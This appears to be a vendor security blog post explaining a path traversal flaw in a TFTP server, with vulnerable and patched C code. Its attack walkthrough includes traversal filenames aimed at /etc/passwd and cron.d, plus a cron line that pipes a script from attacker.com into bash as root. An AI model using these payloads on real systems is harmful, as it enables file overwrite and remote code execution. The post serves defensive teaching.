Back to Blog
critical SEVERITY12 min read

Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes

A critical path traversal vulnerability (CWE-22) was discovered and patched in a TFTP server implementation where unsanitized filenames in write requests could allow attackers to overwrite arbitrary files on the host filesystem. This post breaks down how the vulnerability worked, how it was exploited, and what developers can do to prevent similar issues in their own code.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 19, 2026•Reviewed June 3, 2026

Answer Summary

This is a path traversal vulnerability (CWE-22) in a TFTP server implementation where unsanitized filenames in write requests allow arbitrary file writes on the host filesystem. Attackers exploit this by sending TFTP write requests with "../" sequences in filenames to escape the intended directory. The fix involves validating and sanitizing all incoming filenames, rejecting requests containing directory traversal patterns, and normalizing paths before file operations.

Vulnerability at a Glance

cweCWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
fixImplement filename validation to reject directory traversal sequences and normalize paths before file operations
riskAttackers can overwrite arbitrary files on the host filesystem, including system configuration files, executables, or sensitive data
languageTFTP Server Implementation
root causeUnsanitized user-supplied filenames in TFTP write requests accepted without path validation
vulnerabilityPath Traversal in TFTP Write Requests

Vulnerability ID: V-001 | Severity: 🔴 CRITICAL | CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Introduction

Imagine handing someone a key to a storage room and telling them they can only access shelf number three — but you never actually checked whether they could use that key to open every other room in the building. That's essentially what a path traversal vulnerability does in software.

A critical security flaw was recently identified and patched in tqftpserv.c, a TFTP (Trivial File Transfer Protocol) server implementation. The vulnerability allowed an unauthenticated attacker to supply a maliciously crafted filename in a write request and use directory traversal sequences to write arbitrary content to any location on the filesystem accessible to the service process.

For developers working on embedded systems, firmware update servers, network services, or anything that handles file paths derived from user input — this is a vulnerability pattern you need to understand deeply. It's deceptively simple, devastatingly impactful, and surprisingly common.


The Vulnerability Explained

What Is Path Traversal?

Path traversal (also known as directory traversal) is a class of vulnerability where an application uses user-controlled input to construct a filesystem path without properly validating or sanitizing it. By injecting special sequences like ../ (dot-dot-slash), an attacker can "climb" out of the intended directory and access or modify files elsewhere on the system.

In this case, the TFTP server was designed to handle firmware write requests (WRQ) from clients. The server would receive a filename from the client and use it — without validation — to determine where to write the incoming data.

The Technical Details

The vulnerability existed across two files:

  • tqftpserv.c (line 537): Processed incoming WRQ (Write Request) packets without validating or canonicalizing the requested filename.
  • translate.c: Performed unsanitized path concatenation, directly joining a base directory with the client-supplied filename string.

Here's a conceptual illustration of what the vulnerable code pattern looked like:

// VULNERABLE - Conceptual example of the flawed pattern
void handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];

    // ❌ Directly concatenating user-supplied filename with no validation
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // ❌ No check that the resolved path stays within BASE_DIR
    // ❌ No canonicalization of the path
    // ❌ No authorization check for the requesting client

    FILE *fp = fopen(filepath, "wb");
    // ... write received data to fp
}

And in translate.c, the path building looked something like:

// VULNERABLE - Unsanitized path construction
char *build_path(const char *base, const char *requested) {
    char *result = malloc(strlen(base) + strlen(requested) + 2);
    // ❌ No canonicalization, no traversal detection
    sprintf(result, "%s/%s", base, requested);
    return result;
}

How Could It Be Exploited?

TFTP is a simple, UDP-based protocol with no built-in authentication. A client sends a WRQ packet containing the filename it wants to write. In this implementation, that filename was passed directly into the path construction logic.

An attacker on the network could send a WRQ request with a filename like:

../../etc/cron.d/malicious_job

Or more dangerously on embedded/IoT devices:

../../etc/passwd
../../etc/shadow
../../lib/firmware/device_fw.bin
../../etc/init.d/startup_script

Because the path was never canonicalized or validated to remain within the intended base directory, the server would happily resolve BASE_DIR/../../etc/passwd to /etc/passwd and begin writing attacker-controlled content to that file.

Three Compounding Problems

What made this vulnerability particularly severe was the combination of three missing controls:

  1. No filename validation: The server accepted any string as a valid filename, including sequences like ../, ..\\, or URL-encoded variants.
  2. No path canonicalization: The constructed path was never resolved to its absolute form and checked against the allowed base directory.
  3. No authorization check: There was no mechanism to verify whether a given client was permitted to write firmware files at all.

Real-World Impact

The real-world impact of this vulnerability is severe, particularly in the context where TFTP servers are commonly deployed:

Scenario Impact
Embedded/IoT devices Overwrite firmware, bootloader configs, or startup scripts to achieve persistent compromise
Network boot infrastructure Replace PXE boot images to deliver malicious OS images to booting machines
Industrial control systems Corrupt configuration files or PLCs firmware
General servers Overwrite cron jobs, SSH authorized_keys, sudoers, or service configurations

In the worst case, an attacker could achieve persistent remote code execution by overwriting an executable or configuration file that runs at system startup — all without any authentication.

Attack Scenario Walkthrough

Let's walk through a realistic attack:

Target: A network appliance running this TFTP server for firmware updates, where the service runs as root (common in embedded environments).

Attacker position: Same network segment (or any network if the TFTP port is exposed).

Step 1: Attacker sends a WRQ packet:

WRQ "../../etc/cron.d/backdoor" mode octet

Step 2: Server constructs path:

/var/tftp/firmware/../../etc/cron.d/backdoor
→ resolves to: /etc/cron.d/backdoor

Step 3: Attacker sends data blocks containing:

* * * * * root curl http://attacker.com/payload.sh | bash

Step 4: Within one minute, the cron daemon executes the attacker's payload as root.

Total time: Under 60 seconds. No credentials required.


The Fix

The patch addressed this vulnerability by introducing two critical controls in tqftpserv.c and translate.c:

1. Path Canonicalization and Jail Check

The fix uses realpath() (or an equivalent) to resolve the full, canonical path of the requested file before opening it, then verifies that the resolved path starts with the expected base directory:

// FIXED - Path validation with canonicalization
int handle_wrq(int sock, struct sockaddr *client, char *filename) {
    char filepath[PATH_MAX];
    char resolved[PATH_MAX];

    // Step 1: Construct the candidate path
    snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);

    // Step 2: Resolve to canonical absolute path
    // realpath() resolves all symlinks, . and .. components
    if (realpath(filepath, resolved) == NULL) {
        // Path doesn't exist yet — resolve the parent directory instead
        // and reconstruct carefully
        log_error("Failed to resolve path: %s", filepath);
        return -1;
    }

    // Step 3: Verify the resolved path is within BASE_DIR
    // ✅ This is the critical check that prevents traversal
    if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
        log_warning("Path traversal attempt detected: %s -> %s", 
                    filename, resolved);
        send_error(sock, client, EACCES, "Access denied");
        return -1;
    }

    // Step 4: Now safe to open the file
    FILE *fp = fopen(resolved, "wb");
    if (!fp) {
        send_error(sock, client, errno, "Cannot open file");
        return -1;
    }

    // ... proceed with write
    return 0;
}

2. Filename Sanitization in translate.c

The path construction in translate.c was updated to reject filenames containing traversal sequences before even attempting path construction:

// FIXED - Sanitized path construction
int is_safe_filename(const char *filename) {
    // ❌ Reject empty filenames
    if (!filename || strlen(filename) == 0) return 0;

    // ❌ Reject absolute paths
    if (filename[0] == '/') return 0;

    // ❌ Reject traversal sequences
    if (strstr(filename, "../") != NULL) return 0;
    if (strstr(filename, "..\\") != NULL) return 0;
    if (strcmp(filename, "..") == 0) return 0;

    // ❌ Reject null bytes (path truncation attacks)
    if (memchr(filename, '\0', strlen(filename) + 1) != filename + strlen(filename))
        return 0;

    return 1; // ✅ Filename appears safe
}

char *build_path(const char *base, const char *requested) {
    // ✅ Validate before constructing
    if (!is_safe_filename(requested)) {
        log_warning("Rejected unsafe filename: %s", requested);
        return NULL;
    }

    char *result = malloc(strlen(base) + strlen(requested) + 2);
    if (!result) return NULL;

    sprintf(result, "%s/%s", base, requested);
    return result;
}

Why This Fix Works

The defense is layered — which is exactly how security controls should be applied:

  • Layer 1 (translate.c): Reject obviously malicious filenames early, before any filesystem operations occur. This is fast and catches the most common attack patterns.
  • Layer 2 (tqftpserv.c): Even if a traversal sequence somehow slips through (e.g., encoded variants, symlink-based attacks), the canonical path is resolved and verified against the base directory. This is the definitive check.

The combination ensures that even if an attacker finds a way to bypass the string-based check in Layer 1, Layer 2 will catch the actual filesystem-level traversal.

⚠️ Important Note on realpath(): When the target file doesn't yet exist (which is common for write requests), realpath() will fail. The fix should handle this by resolving the parent directory canonically and then appending only the basename of the requested file — ensuring both that the parent is within bounds and that the final filename component contains no path separators.


Conclusion

Path traversal vulnerabilities are a timeless class of bug — they've been in the OWASP Top 10 for decades, yet they continue to appear in production code. The reason is simple: it's easy to write code that works without thinking about what happens when the input is adversarial.

The key takeaways from this vulnerability and its fix:

  1. User-supplied filenames are untrusted input — always treat them that way, regardless of the protocol or context.
  2. Defense in depth works: The fix applied both early rejection (filename sanitization) and a definitive filesystem-level check (canonical path verification). Neither alone is sufficient.
  3. Missing authorization is a force multiplier: Path traversal combined with no access controls meant the attack required zero credentials and zero prior knowledge of the system.
  4. Least privilege limits blast radius: If the TFTP service ran as a dedicated user with access only to the firmware directory, even a successful traversal would have limited impact.
  5. Detection matters: Log suspicious path inputs. Blocked attacks are still valuable signals.

Security is not about writing perfect code — it's about building systems that are hard to exploit even when individual components have flaws. Validate inputs early, enforce boundaries at the filesystem level, apply least privilege, and monitor for anomalies.

If you're building any service that handles file paths derived from external input — whether it's a TFTP server, a web application, a build system, or an IoT firmware updater — take 30 minutes today to audit how you construct and validate those paths. It might be the most valuable 30 minutes you spend this month.


This fix was identified and patched automatically by OrbisAI Security. Automated security scanning can catch these issues before they reach production — consider integrating security scanning into your CI/CD pipeline.


Have questions about path traversal or secure file handling? Drop a comment below or reach out to our security team.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.